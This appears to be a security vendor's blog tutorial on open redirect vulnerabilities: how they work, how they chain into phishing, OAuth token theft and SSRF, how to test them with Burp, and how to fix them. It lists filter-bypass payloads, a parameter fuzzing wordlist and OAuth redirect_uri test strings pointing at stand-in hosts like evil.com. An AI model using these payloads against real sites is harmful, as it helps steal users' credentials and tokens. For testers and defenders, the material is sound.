Open Redirect Vulnerabilities: Testing URL Redirection Flaws

A phishing email arrives in your inbox. The link reads https://accounts.yourbank.com/login?next=https://evil-phishing-site.com/steal-creds. The domain is legitimate — it's your bank's actual login page. The browser shows the green padlock. You click it, land on a page that looks exactly like your bank's login form, and enter your credentials. The URL in the address bar silently redirected you to a lookalike site after the initial click registered as a valid hit on the real domain.

This is an open redirect in the wild. It's a vulnerability class that developers frequently dismiss as "low severity" because it doesn't directly leak data or execute code. That dismissal is a mistake. Open redirects are the trust amplifier in phishing chains, the enabler of OAuth token theft, and the stepping stone to SSRF. The severity is contextual — and in the right context, it's critical.

What Open Redirects Are

An open redirect occurs when a web application accepts a URL parameter that controls where the user is sent after an action, and the application does not validate or constrain the destination. The canonical form is a login endpoint with a post-authentication redirect:

GET /login?next=https://dashboard.example.com/overview HTTP/1.1
Host: example.com

After successful authentication, the application issues:

HTTP/1.1 302 Found
Location: https://dashboard.example.com/overview

When the next parameter is reflected directly into the Location header without validation, an attacker substitutes any destination they choose:

GET /login?next=https://evil.com/harvest HTTP/1.1
Host: example.com

HTTP/1.1 302 Found
Location: https://evil.com/harvest

The user's browser follows the redirect immediately. From the user's perspective, they clicked a link to example.com, authenticated, and ended up somewhere else entirely — without any visible warning. The trusted domain was the entry point; the attacker controlled the exit.

Real-World Impact

Phishing via Trusted Domain

The most immediate impact of an open redirect is lending a trusted domain's reputation to a malicious link. Security-aware users who hover over links before clicking see https://legitimate-company.com/login?next=... and lower their guard. Email security gateways may allowlist known domains and fail to inspect the redirect destination. Corporate proxy logs will show the trusted domain, not the actual phishing site. Every layer of the standard phishing defense chain is weakened because the initial hop lands on a real, valid URL.

OAuth Token Theft via redirect_uri Abuse

This is where open redirects escalate from "low" to "critical" severity without any other vulnerability in the chain. OAuth 2.0 authorization flows pass an access token (or authorization code) to a registered redirect_uri after the user authenticates with the authorization server. If the authorization server's redirect_uri validation is insufficiently strict — or if the registered redirect URI is itself an endpoint with an open redirect — the token can be delivered to an attacker-controlled server.

Consider an application with https://app.example.com/oauth/callback registered as a valid redirect URI. If /oauth/callback?next= is an open redirect, an attacker can craft:

GET /authorize?response_type=token
    &client_id=abc123
    &redirect_uri=https://app.example.com/oauth/callback?next=https://attacker.com/steal
    &scope=profile%20email
HTTP/1.1
Host: auth.provider.com

The authorization server validates that the redirect URI starts with the registered domain — it does. It delivers the token to the callback. The callback endpoint immediately redirects to the attacker's server, carrying the access token in the URL fragment or query string. The attacker logs the token from their server's access log. No phishing page required.

SSRF Amplification

In server-side request forgery scenarios, an open redirect on an external-facing endpoint can help an attacker bypass IP allowlists or SSRF filters. If a WAF or application filter blocks direct requests to http://169.254.169.254/ (the AWS metadata endpoint) but allows requests to trusted external domains, an attacker can chain: "make the server fetch this trusted URL" → trusted URL open-redirects to the metadata endpoint. The SSRF filter sees a trusted domain; the redirect happens server-side. Not all SSRF implementations follow redirects, but enough do that open redirects appear in real SSRF chains.

Referer Header Bypass

Some applications use the Referer header to verify that a request originated from within the application. An open redirect on the same domain can be used to generate a valid Referer value pointing to the trusted domain, even though the chain eventually exits to an attacker-controlled destination. This is a niche attack path, but it's appeared in CSRF bypass chains where the CSRF protection relies on Referer validation.

Common Redirect Parameter Names

Open redirect parameters are typically self-documenting in their names. The most common variants across web frameworks and applications:

Parameter Typical context
next Django, Flask, most Python frameworks — post-login redirect
url Generic redirect handlers, link shorteners, analytics trackers
redirect, redirect_to Rails, Laravel, Java Spring — post-action redirect
return, returnUrl, return_url Payment flows, session timeout redirect-back
goto Legacy PHP applications, CMS systems
target Navigation helpers, JavaScript-driven redirects
destination Travel/booking applications, onboarding flows
continue Google OAuth, multi-step flows
redir, r Shortened parameter forms in older applications
redirect_uri OAuth 2.0 authorization endpoints — highest severity

This list is not exhaustive. Custom parameter names appear regularly in proprietary applications. Any parameter that causes the application to issue a 301, 302, 303, or 307 response with a Location header derived from user input is an open redirect candidate, regardless of what the parameter is named.

Concrete Vulnerable Examples

Login Post-Authentication Redirect

The classic case. An application preserves the user's originally requested URL through the login flow using a query parameter:

# User tries to access a protected page
GET /dashboard/reports?filter=weekly HTTP/1.1
Host: app.example.com

# Application redirects to login, preserving the destination
HTTP/1.1 302 Found
Location: /login?next=%2Fdashboard%2Freports%3Ffilter%3Dweekly

# After successful login, the application redirects
HTTP/1.1 302 Found
Location: /dashboard/reports?filter=weekly

The vulnerable implementation reads the next parameter and uses it directly as the Location value. An attacker sets next=https://evil.com and the server complies. The fix — restricting next to relative paths — is obvious in retrospect but routinely missed in implementation.

Post-Action Redirect

Many applications accept a return or returnUrl parameter in form submissions to redirect the user after a non-authentication action — submitting a support ticket, completing a purchase, updating profile settings. The pattern is identical:

POST /account/update-email HTTP/1.1
Host: app.example.com
Content-Type: application/x-www-form-urlencoded

email=new%40email.com&returnUrl=https%3A%2F%2Fevil.com%2Fphish

HTTP/1.1 302 Found
Location: https://evil.com/phish

These are sometimes harder to find than login redirects because they appear in form submissions rather than GET parameters, but they're equally exploitable and often less scrutinized in code review.

OAuth redirect_uri Manipulation

An authorization server that validates redirect_uri by prefix-matching rather than exact-matching is vulnerable. If the registered URI is https://app.example.com/callback and the server accepts any URI that starts with that string, an attacker can register:

redirect_uri=https://app.example.com/callback.evil.com

Or, if the registered URI is https://app.example.com/ (a path prefix), any path under it qualifies — including any open redirect endpoint at https://app.example.com/redirect?url=https://attacker.com. The authorization code or implicit-flow token lands at the attacker's server via the chain.

Bypass Techniques

Developers who are aware of open redirects frequently implement naive defenses that can be bypassed. Understanding bypass techniques is essential for testing whether a partial fix is effective.

Protocol Confusion

When a filter blocks http:// and https:// prefixes but doesn't handle all valid URL forms:

# Protocol-relative URL — interpreted as //evil.com by browsers
?next=//evil.com

# Triple-slash — some parsers treat this as relative, browsers handle it as //evil.com/
?next=///evil.com

# Backslash — Windows-style path separator, some browsers treat \\ as //
?next=\\evil.com
?next=\/\/evil.com

Credential Injection

URLs can embed credentials in the authority component. A filter checking that the URL "contains the trusted domain" can be fooled:

# trusted.com appears as the username; evil.com is the actual host
?next=https://trusted.com@evil.com

# trusted.com appears in the path after the real host
?next=https://evil.com/redirect?to=trusted.com

URL Encoding and Double Encoding

Filters applied before URL decoding can be bypassed by encoding the characters that trigger the block:

# Single encode the colon and slashes
?next=https%3A%2F%2Fevil.com

# Double encode — server decodes once, then the application decodes again
?next=https%253A%252F%252Fevil.com

# Encode only the colon to bypass scheme detection
?next=https%3A//evil.com

Unicode Normalization

Some applications normalize Unicode before comparison but not before use. Unicode lookalikes for ASCII characters — or Unicode characters that normalize to / or . — can pass a filter operating on the pre-normalized string while the browser or HTTP library uses the post-normalized form:

# Unicode fullwidth solidus U+FF0F normalizes to /
?next=https:∕∕evil.com

# Homograph attack using Punycode domain that looks like a trusted domain
?next=https://exаmple.com  (where а is Cyrillic U+0430, not ASCII a)

Null Bytes and Fragment Confusion

# Null byte may terminate string comparison in some implementations
?next=https://trusted.com%00https://evil.com

# Fragment identifier — some redirect implementations strip the fragment
# but the browser still follows to the hash-less URL
?next=https://evil.com#https://trusted.com

Testing Methodology

Step 1: Identifying Redirect Parameters

Begin with source review and passive traffic analysis. In Burp Suite's Proxy history, filter for responses with status codes 301, 302, 303, 307, and 308. For each redirect response, examine the Location header: does it contain a value that appears in the request's query string, POST body, or headers? If so, you've found a redirect parameter.

For black-box testing without source access, fuzz common parameter names against every endpoint. A wordlist for redirect parameter fuzzing:

next
url
redirect
redirect_to
redirect_url
return
return_url
returnUrl
return_to
goto
target
destination
dest
continue
forward
location
link
out
view
to
site
page
ref
redir
r
back
backUrl
callback
successUrl
failureUrl
cancelUrl
redirect_uri
post_login_redirect_url

Inject a canary value (a URL to a domain you control, like a Burp Collaborator or Interactsh host) for each parameter name at each endpoint and watch for outbound DNS lookups or HTTP requests. Any endpoint that reaches out to your canary has reflected the parameter into a server-side or client-side redirect.

Step 2: Burp Suite Testing Workflow

Once a redirect parameter is identified, the Burp Suite testing workflow is straightforward:

  1. Capture a request containing the redirect parameter in Burp Proxy.
  2. Send to Repeater. Replace the parameter value with https://evil.example.com (a domain that resolves but that you control or can observe hits on).
  3. Send the request. If the response Location header contains your injected domain verbatim, the endpoint is vulnerable — no bypass required.
  4. If the response modifies your value (strips the scheme, blocks the domain, returns a default URL), attempt each bypass technique category: protocol-relative, encoding, credential injection, backslash. Repeat until one succeeds or all are exhausted.
  5. For OAuth endpoints, test redirect_uri with exact-match bypass attempts: appending path segments, adding query parameters, using URL-encoded characters in the registered path.

Burp's Active Scanner will flag obvious open redirects automatically when it detects injected values appearing in Location headers. The limitation is that it won't attempt bypass techniques against naive filters — that's manual work.

Step 3: Validating Impact

Finding a parameter that gets reflected into a Location header is necessary but not sufficient for confirming exploitability. Verify:

OAuth-Specific Open Redirect Testing

OAuth redirect_uri validation failures are a distinct and higher-severity sub-category. The testing approach differs from standard open redirect testing because the vulnerability is in the authorization server's validation logic, not in the application endpoint's redirect handler.

Test the authorization endpoint directly with a series of redirect_uri variants to map the validation boundary:

# Registered: https://app.example.com/callback
# Test cases — replace the registered URI with these variants one at a time:

# 1. Exact match — baseline, should succeed
redirect_uri=https://app.example.com/callback

# 2. Path traversal — does the server allow subdirectories?
redirect_uri=https://app.example.com/callback/../steal

# 3. Path extension — does prefix matching allow path extension?
redirect_uri=https://app.example.com/callback.evil.com

# 4. Query parameter addition
redirect_uri=https://app.example.com/callback?injected=param

# 5. Different path
redirect_uri=https://app.example.com/different-path

# 6. Subdomain variant
redirect_uri=https://evil.app.example.com/callback

# 7. Registered domain as username
redirect_uri=https://app.example.com@evil.com/callback

# 8. Fragment in redirect_uri (RFC disallows this but some servers accept it)
redirect_uri=https://app.example.com/callback#https://evil.com

For each variant that the authorization server accepts (responds with an authorization code or token rather than an error), trace where the credential actually lands. If variant 3 is accepted and https://app.example.com/callback.evil.com resolves to a server you control, you receive the authorization code. From an authorization code you can exchange for an access token at the token endpoint, effectively stealing the victim's OAuth session.

Even when the server validates the redirect_uri correctly, check whether any of the registered redirect URIs are themselves open redirect endpoints. An application that registers https://app.example.com/redirect?to= as a valid OAuth callback has created the open-redirect-to-OAuth-token chain regardless of how strict the authorization server's validation is.

Automated Detection and False Positives

Automated scanners flag open redirects by injecting a test URL into every parameter and watching for that URL to appear in a Location header. This is highly reliable for the base case — unprotected redirect parameters reflect the injected value directly. The false positive rate is low: if the scanner's injected URL appears in a Location header, the redirect is real.

Where automated detection struggles:

Developer dismissal is the most significant operational obstacle in open redirect remediation. "It just redirects to a URL they already control in the link" is the most common objection. The correct response is to demonstrate the phishing chain concretely: show the email, the link that starts at the trusted domain, and where the user actually lands. Severity context matters more than the CVSS base score for this vulnerability class.

Real CVEs Involving Open Redirects

Open redirects appear consistently in CVE disclosures across major platforms, usually as enablers of larger attack chains rather than standalone findings:

Remediation

Allowlist Approach: Relative Paths Only

The most robust fix is to restrict redirect destinations to relative paths — paths beginning with / but not //. This entirely prevents redirection to external domains because relative paths are always resolved against the current origin:

# Python example — validate that the redirect target is a safe relative path
from urllib.parse import urlparse

def is_safe_redirect(url):
    """Accept only relative paths. Reject absolute URLs and protocol-relative URLs."""
    if not url:
        return False
    parsed = urlparse(url)
    # Must have no scheme and no netloc (hostname)
    if parsed.scheme or parsed.netloc:
        return False
    # Must start with / but not //
    if url.startswith('//') or url.startswith('\\'):
        return False
    return url.startswith('/')

def login(request):
    next_url = request.GET.get('next', '/dashboard')
    if not is_safe_redirect(next_url):
        next_url = '/dashboard'
    # ... authenticate user ...
    return redirect(next_url)

Note the explicit checks for // and \\ — a URL that starts with / but continues with / or \ is protocol-relative or a backslash bypass, not a safe relative path. Django's built-in url_has_allowed_host_and_scheme() utility handles most of these cases correctly; use it rather than rolling a custom validator.

Allowlist Approach: Explicit Domain Allowlist

When cross-domain redirects are a legitimate requirement (e.g., a multi-domain SSO system that must redirect to partner domains), maintain an explicit allowlist of permitted destination domains and validate against it:

ALLOWED_REDIRECT_HOSTS = {
    'app.example.com',
    'admin.example.com',
    'partner.trustedsite.com',
}

def is_safe_redirect(url):
    parsed = urlparse(url)
    if not parsed.netloc:
        # Relative path — always safe
        return url.startswith('/') and not url.startswith('//')
    # Absolute URL — check against allowlist
    return parsed.netloc in ALLOWED_REDIRECT_HOSTS

The allowlist must be an exact set comparison, not a prefix or substring match. 'example.com' in 'evil.example.com' is true; that's not the check you want. Compare parsed.netloc == allowed_host or check membership in a set of exact strings.

Avoid Redirect Parameters Where Possible

The cleanest fix is to eliminate the redirect parameter entirely. If a login flow needs to redirect back to the originally requested URL, store that URL in the server-side session at the time of the 401 response rather than passing it through the client in a query parameter. The session is server-controlled; the client has no opportunity to inject an arbitrary destination:

# On 401 — store the intended destination server-side
request.session['login_next'] = request.path

# On successful login — read from session, never from query params
next_url = request.session.pop('login_next', '/dashboard')
return redirect(next_url)

This approach eliminates the attack surface entirely. If the destination never passes through the client, it can never be manipulated by the client.

OAuth redirect_uri: Require Exact Match

For authorization servers, the fix for redirect_uri validation is exact-string matching — no prefix matching, no wildcard matching, no path-traversal normalization. The registered URI and the submitted URI must match character for character. RFC 6749 section 3.1.2 requires exact matching for this reason. Any deviation from exact matching creates a validation bypass surface.

Additionally, audit your registered redirect URIs for open redirect patterns. A registered URI that itself accepts a destination parameter is as dangerous as a permissive redirect_uri validator — the scope of the vulnerability is just one hop wider.

Ironimo automatically discovers open redirect parameters across your entire application — including non-obvious parameter names, multi-step redirect chains, and OAuth redirect_uri misconfiguration.

Start free scan

← Back to Blog